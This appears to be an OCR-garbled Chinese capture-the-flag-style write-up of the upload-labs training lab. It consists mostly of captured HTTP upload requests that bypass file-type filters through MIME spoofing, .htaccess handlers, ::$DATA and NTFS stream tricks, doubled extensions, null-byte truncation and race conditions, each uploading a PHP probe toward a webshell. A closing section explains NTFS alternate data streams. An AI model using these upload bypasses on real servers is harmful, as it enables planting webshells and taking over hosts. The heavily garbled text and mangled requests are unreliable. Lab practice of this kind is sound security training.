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Pass-01:

O0#&k i

= 1 1 | |

iPOST Juploadlab/Pass-01/1index. php?action=show_code HITE/1.1

Host: 10.246.241. 245

Content-Length: 296

Cache-Control: max—age=0

Upgrade-Insecure-Requests: 1

User—4gent: Mozilla/5.0 (Windews NT 10.0; Winf4: =64) AppleWebKEit/537.36 (EHIML., like Gecko) Ch
Origin: http: //10. 246, 241, 245

Content—Type: multipart/form—data; boundary=——WebKitFornBoundarvXGJt9pDzEJubiFq]

Accept: text/html, application/zhtml+zml, application/=ml;q=0.9, image/webp, image/apng. */*; q=0. 8
Referer: http://10.246. 241, 245/ uploadlab/Pass-01/1index. php?action=show_code

Accept—Encoding: gzip, deflate

Accept-Language: zh-CHN, zh;q=0.9

Commection: close

Content-Disposition: form—data; name="upload file”: filename="info.php Jpg”
Content—Type: image/jpeg

Content-Disposition: form—data; name="submit”

Pass-02:

MIME &7 £


https://blog.csdn.net/caonimadesg
https://blog.csdn.net/caonimadesg/category_8924250.html
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—————— WebEitFormBoundaryT8YT=3TDkorgRgw3
Content-Disposition: form—data; name="upload_file”
Content-Type: image/ jpeg

—————— WebEitFornBoundaryT8YT=3TDkorgRgw3
Content-Disposition: form—data; name="submit”
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WebEitFornBoundaryT8YT=3TDkorgRgwi—

Pass-03:

HAtJa 2%

Lomnection: close

—————— WebKitFormEoundarvdfanlf jEENMpTEGER
Content-Disposition: form—data; name="uplead file”
Content—-Type: application/octet—stream

—————— WebKitFormEoundarvdfanlf jEENMpTEGER

Pass-04:

4% .htaccess J5 L& F &K shell

—————— WebEitFormEoundarvfxzxdn3hXr3E3YENG
Content—Type: application/octet—-stream
ForceType application/z-httpd-php
SetHandler application/z-httpd-php
—————— WebEitFormEoundarvfazxdn3hXr3E3YENG

Content—Disposition: form—data: name="submit”
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Content—-Disposition: form—data; name="uplead file”;

; filename="1info.php”

. filename="1n. phpd”

filename=".htaccess"



[ phpinfo()

X | [% phpinfo()

b | [ 403 Forbidden

x | [) 10246.241.245/. %

FZz2 | 10.246.241.245/uploadlab/upload/info.jpg

Pass-05:

KEGIE B4 H

B LML . B e Mk Tl
iccept-Language: zh-CN, zh;q=0.9
‘ommection: close

System Windows NT DESKTOP-DNFLQW(

Build Date Jan 6 2011 17:26:08

Configure cscript /nologo configure.js "--en

Command debug-pack” "--with-snapshot-te
sdk\snap_5__2\vc6\)(86\template'
sdk\snap 5 2\vc6\x86\php_build
sdk\oracle\instantclient10\sdk, sh
sdk\oracle\instantclient10\sdk,sh

Server API (Apache 2.4 Handler - Apache Lol

Virtual enabled

Directory

Support

Configuration|C\WINDOWS

File (php.ini)

Path

Loaded D:\phpStudy\PHPTutorial\php\pt

Configuration

File

—————— WebEitFormBoundary6C TEEE1EnF g SFSE3
‘ontent-Disposition: form—data; name="upload_file”;
rontent—Tvpe: application/octet—streanm

(?php phpinfo(): 7>

—————— WebEitFormBoundary6C TEEB1EnF g SFSK3
rontent-Dispesition: form—data; name="submit”

Pass-06:

TGRS B

filename="1info. pHF"



ACCEPT—BNCOALNE. EgZ1p, deIlate
Accept-Language: zh-CH, zh;q=0.9
Comnection: close

—————— WebEitFormEoundaryelyf 0T4G IAnFLQCT
Content-Disposition: form-data; name="upload_file”; filename="info.php
Content—-Type: application/octet—stream

<Tphp phpinfol); 7>
—————— WebKitFormEoundaryelyf0V4G IAnFLQCT
Content-Disposition: form—data; name="submit”

Pass-07:

JER G BB

LOMEeCT1011l] CLlOSE

—————— WebEitFormBouwndaryvLFgeXFuAN T 1NpGGG
Content-Disposition: form—data; name="upload_file”; filename="1info.php.”
Content-Type: application/octet—strean

<7php phpinfol); 7>
—————— WebEitFormBouwndaryvLFgeXFuAN T 1NpGGG
Content-Disposition: form—data; name="submit”

WahK1+RarmRaimndarsd RaaVR= 48771020 ——

Pass-08:

::$DATA B4 Windows T 41t

Accept: text/html, application/zhtml4zml, application/zml;q=0.9, image/webp, image/ apng. */
Referer: http://10.246. 241, 245/uploadlab/Pass—08/index. php?action=show_code
Accept—Encoding: gzip, deflate

Accept-Language: zh-CHN, zh;q=0.9

Comnection: close

—————— WebKitFormEoundaryl9o TEPQEa] Lne TYO
Content-Disposition: form—data; name="upload file”; filename="info.php: : FDATA"
Content—-Type: application/octet—-stream

“Ophp phpinfol); 7>
—————— WebEitFormEoundaryl9o TEPQEa] Lne TYO
Content-Disposition: form—data; name="submit”

ERI

—————— TebKitFormEoundarvl90 TEPQEa] Lne TYO——

Pass-09:

Windows NTFS ##E¥ trick .



RERMATKX, RAMEBERDNRETZERMES, RERMHE

Accept—Language: zh—CN, zh;q=0.9
Comnection: close

—————— WebKitFormEoundary s INrvinwnbig 8HT j
Content-Disposition: form—data; name="uplead file”; filename="info.php: . jpg”
Content—-Type: application/octet—-stream

<php phpinfol); 7>
—————— WebKitFormEoundary s INrvinwnbig 8HT j
Content-Disposition: form—data; name="submit”

Accept—Encoding: gzip. deflate
Accept-Language: zh-CN, zh;q=0.9
Comnection: close

—————— WebKitFormEoundaryaW3m0kMAL 16z 10my
Content-Disposition: form-data; name="uplead_file”; filename="info. <<<"
Content—-Type: application/octet—-stream

<?php phpinfo(); 2>
—————— WebKitFormEoundaryaW3m0kMAL 16z 10my
Content-Disposition: form—data; name="submit”

Pass-10:

M5 eitstr_ireplaceid 3

Comnection: close

—————— WebEitFormBoundaryN4uX 3ffpA3g A4 2ED
Content-Disposition: form-data; name="upload_file”; filename="1info. pphphp”
Content—-Type: application/octet—-stream

<?php phpinfo(); %>
—————— WebEitFormBoundaryN4uX 3ffpA3g A4 2ED
Content-Disposition: form—data; name="submit”

Pass-11:

getiF Rzl B4, %008 M



L L ' L

POST fuploadlab/Pass—11/1index. php?save_path=.. /upload/1. php%00 HITP/1.1

Host: 10.246. 241. 245

Content-Length: 321

Cache—-Control: max—age=0

Origin: http://10. 246, 241, 245

Upgrade-Insecure-Requests: 1

Content—-Type: multipart/form—data; boundary=———-WebKitFornBoundarvDEz8aBLo2Y0KDuY
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64) AppleWebKit/537.36 (KHTML, like G
Accept: text/html, application/zhtml4=ml, application/zml;q=0. 9, inage/wehp, image, apng, */*
Referer: http://10.246. 241, 245/ uploadlab/Pass—11/index. php?save_path=.. upload/
Accept—Encoding: gzip, deflate

Accept—Language: zh-CN, zh;q=0.9

Comnection: close

—————— WebEitFormEoundarvyDEz8aBLol2Y0 jEDUY
Content-Disposition: form—data; name="upload file”; filename="info. jpg”
Content-Type: application/octet—-stream

<php phpinfol); 7>
—————— WebKitFormEoundarvDEz8aBLol2Y0 jEDUY

Pass-12:

POST Z ¥z il H 34 00 &l

[ Raw ] Params ] Headers lHex 1

Zd & be Ja 20 66 8 [ Bd A B4 61 4 61 3b 20 be on: form-data; n
2e 61 6d 65 3d 22 73 61 76 65 af 70 &1 T4 68 22 0d A awe, path”
2t 0a 0d 03 2e 2e 2t 75 70 6c &f 61 64 2t 31 2e 70 _/upload/1.p

30 68 70 0d Oa 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 hp—-7\WebKi

31 T4 46 &6f 72 6d 42 &f 75 Ge 64 61 72 i) 39 58 30 Botindary9X0
32 52 34 4c v 64 66 78 50 3 33 73 73 4 0d Oa 43 RdLwdfxP13ssAC
33 &f e 74 65 Ge 74 2d 44 69 73 70 &f 73 69 74 69 ontent-Dispositi

34 &f Ge 3a 20 66 &f 72 6d 2d 64 61 T4 61 3b 20 Ge on: form-data; n
35 61 6d 65 3d 22 75 70 6c &6f 61 64 af 66 69 be 65 ame="upload_file
36 22 3b 20 66 69 6c 65 Be 61 6d 65 3d 22 69 Ge 66 " filename="inf

37 &f 2e 6a 70 67 22 0d Oa 43 &f e 74 65 e 74 2d o0_jpg"Content-

38 54 79 70 65 3a 20 61 70 T0 6c 69 63 61 4 69 &6f Type: applicatio
39 Ge 2f &6f 63 T4 65 74 2d 73 74 72 65 61 6d 0d Oa n/octet-stream

Ja 0d Oa Jc 3f 70 68 70 20 70 68 70 69 Ge 66 &6f 28 <?php phpinfo{

3b 29 3b 20 3f Je 0d 0a 2d 2d 2d 2d 2d 2d 5T 85 62 ), To—-\Web

i a en 74 ae or 7 £a an or 7 e. ca o 70 Tn 20 e e e

13-16,18 B A KRB LM, EEHFR—T.

Pass-17:

S b, JFRAAWTERELATEL

— ST BRI, AN STITS shell




ack Save Columns

zsults | Target T Positions I Payloads TOptions ]

=

ar: Showing all items

£ ntruder attack 14

Attack Save Columns

— E‘J Results TTarget I Positions I Payloads I Options }

‘ Filter: Showing all items

juest | Payload | Status 4| Error | Timeout | Length | Comment b th
— — I Request 4 Payload | Status | Emor | Timeout | Length | Cot
20 200 @] o s17 A 0 200 Od [ 4964
34 200 O OJ 517
- - ik 0 200 4964
35 200 ] O 517 | Q Q
69 200 a o 517 2 1 200 O] (] 4964
3 200 o O s09 3 2 200 @) [ 4964
132 200 O o 17 ‘;’ i zgg U = igz
162 200 (] O 509 Geqg L:J l:l
164 200 g [J 59252 /*ie E; 2 zgg = = 1:3
166 200 O OJ 517 3 7 200 L:J l:‘l 964
168 200 0 0o s17 [ 9 8 200 H S 4964
equest | Response
Request | Response
aw | Headers | Hex | HTML (Rendel ]
‘ Raw | Params T Headers | Hex
a
} POST /uploadlab/Fass-17/index. php?action=show_code HTTF/1.1
PHP Version 5 2 17 Host: 10.246.241.245
L] L] Content-Length: 323
Cache—Control: max—age=0
Origin: http://10. 246,241, 245
Upgrade-Tnsecure-Requests: 1
Content-Type: multipart/form—data; bounda WebKitFornBoundary TRUShRH4E
User-Agent: Mozilla/5.0 (Windews NT 10.0; n64; x64) AppleWebKit/537.36 (F
System Windows NT DESKTOP-DNFLGVC 6.2 buid 9200 Safari/537. 38
- Accept: text/html, application/zhtml+znl, application/znl:g=0.9, inage/webp, i1
Build Date Jan 6 2011 17:26:08 Referer: http://10.246. 241. 245/uploadlab/Pass-17/index. php?action=show_cod:
Configure cseript Inologo configure js "—enable-snapshot-build" Accept-Encoding: gzip. deflate
Command with-snapshot-template=d: ohp-sckisnap_5_2Wwchl Accept-Language: zh—CN, zh:g=0.8
with-php-build=: ohp-sdiisnap._5_2\WeBWEEphp_| skr: 0
with-po-oci=D: php-scikiaraclelinstantclient! Oisclk, Comnection: close
--with-ociB=0:\php-sdkoraclelinstantclient10\sdk sha - _
FebKitFormBoundaryTRUShRH450pEUoal
Server AP Apache 2.4 Handler - Apache Lounge Content-Disposition: formdata: name="upload file”: filename="info.php”
Virtual enabled | Ci‘cen‘cj'pe;eq:plﬁticn/cctet—stream hitns-ihlan.cadn naticannimadasa
7 T [l [ [l Bl [ Tinn A cnnmmh tnem

Pass-19:

XM A B BIVEEE Readme B MWFLELINUX T A fegeid, AR ERAEWINdows THAERITHT

A BRI R ELR I

—————— WebKitFormBoundarvPAK] c TFdrH3E2kfh

Content-Disposition: form—data: name="uplead file”; filename="info.php”

Content—Type: application/octet—stream

<7php phpinfoi); 7>
—————— WebKitFormBoundarvPAK] c TFdrH3E2kfh
Content-Disposition: form—data; name="save name”

1. php.
—————— WebKitFormBoundarvPAK] c TFdrH3E2kfh
Content-Disposition: form—data; name="submit”

iH
—————— WebEitFornBoundaryPAK] ¢ TFdrHIE2kifh—

Pass-20:

-



RS, &% POST 41T Bypass, FIH THAWES Tr, PHP RAZMF EHRIFHIIES!

text/htnl, application/zhtml+znl, application/=nl; q=0. 9, inage/webp, inage/apng, */*; =0 string(4) “test”
.8 [21=>
Referer: http://10.246.241. 245/uploadlab/Pass-20/index. php?action=show_code string(3) "php”
Aecept-Encoding: gzip, deflate [3i=>
E_', Accept-Language: zh-CN, zh;q=0.9 string(3) "ipg”
Comnection: close }
Ve fuckk?: jpgoocck: 3
\f —————— WebEitFornBoundaryERSHEQ SQHY cyolhp <div id="upload_panel”>
Content-Disposition: form—data; name="upload file”; filename="info.php” <olr
Content-Type: image/jpeg I <1ir
<h3> RS </h3>
\ <7php phpinfo(): 7> <pr bfE— 4 <code>webshell</code> BN K 3. /p>
—————— TebEitFornBoundarvERIHEQSQOHY cvothp <f1i
Content-Disposition: form—data: name="save_name[1]" <lir
<h3> B4R </h3>
ﬁ test <form enctype="multipart/forn-data” method="post”>
I E—— WebKitFornBoundar vEROHEQ SOHY cvoip <pr iR BB
ﬁ.* Content-Dispesition: form—data; name="save_name[2]" <input class="input_file” type="file"” name="upload_file
B CprRATEER:
php <input class="input_text” type="text” name="save_name”
—————— WebEitFornBoundarvERSHEQSOHY cvoidp value="upload-20. jpg” /><br/>
Content-Disposition: form—data; name="save_name[3]" <input elass="button” type="submit” name="submit” value
</form>
ipE <div id="msg">
— TebKitFornBoundarvERIHBOSQHY cyolip P 2oft bRt fdivy
Content-Disposition: form—data; name="submit” <div id="img" >
<img sre="../upload/test.php” width="250px" />
JEMLE <fdive
—————— WebEitFornBoundaryERIHBGSOHY cvotdp—— <f1lix
<1i id="show_code">
L IR M =R B
v <prex

A A EADIOEERES, XA E—AMRAR witeup, WIRE R D%-REFXAET T

ZRR A B Writeupihhit: https://github.com/LandGrey/upload-labs-writeup
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1. ft4=2 NTFS ?

NTFS £Z##Windows NT A HI RFIRIE RGN, BN T RIS MBETH, SFINES LR
Pttt R N, HFATXXUE R A IfRE, HEm=ZE.

NTFS-ADS, X#A NTFS ZZ#HBE, RNTFSHEAM X — M.

FENTFSYXHRE T, ®AMEET UFES M EEER, MR Y, BT EXMHRZIN, EUAERLIEE
MFRFEEEXMFRF . BRBAVEEE BHER M, BRERELFETRINRAAZTH.

2.ADS 5 ¢ Lt
A payload :

shell.php:jpg



WBRILISTF L, BRiAGIER Ndata, i tpayloadi) e H R L

shell.php:jpg:$data

A AR QR D518 E ORI BAR RS EAEJE 278 B3 TR shell.php B2 30 .

Why?

AN EEBIERA, BATHY EAZ KR — AR, ERAZIE CrfE 13X, FrelmalE T —
AN

LAEEE MSDN LI/ 4.

All files an an MTFS volume consist of at least one stream - the main stream — this is the normal,
viewable file in which data is stored. The full name of a stream is of the form below.

|<fi|ename>:<stream name:=:<stream type= |

The default data stream has no name. That is, the fully qualified name for the default stream for a file
called "sample.txt" isl "sample.tt: SDATA" ;ince "sampletxt” is the name of the file and "SDATA" is the
stream type.

E A PAIE R R .

AR PHP 1 WINDOWS R Gk, LA FAF5 76 1IE N VLS A R AHZE 1 -

WIE" = AS.
KFHE> = W8
AFHB = BB

RIEBBRIREE, BAVCAABIER RN EHE XM, ZERFARSER AT

RIG B IR A shell.<<< , B8 &35S0 N A

T AR BT ) — S A R S B



paiE R 55 4% R 2 AR R

Test.php:a.jpg A4 R Test.php 7
Test.php::$DATA 4 fitest.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 4 Ritest.php 32 i3

Test.php::$DATA jpg A #%0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 4 laaa.jpg <?php phpinfo();?>

F5FIA NTFS Bifeth, &7 VS EIR L F15:

1.581d PR 4% BIGE b A%

2.552 1S H FAUFRINAE

BRI (KL, webshelD

4.MySql UDF#AUFI H

5ELEB/HRR

XEEFE2NSEMIEE O REBE, BT TXELH, FERERENAIRAT:

http://www.myhack58.com/Article/60/61/2013/38285.htm

https://www.waitalone.cn/php-windows-upload.html
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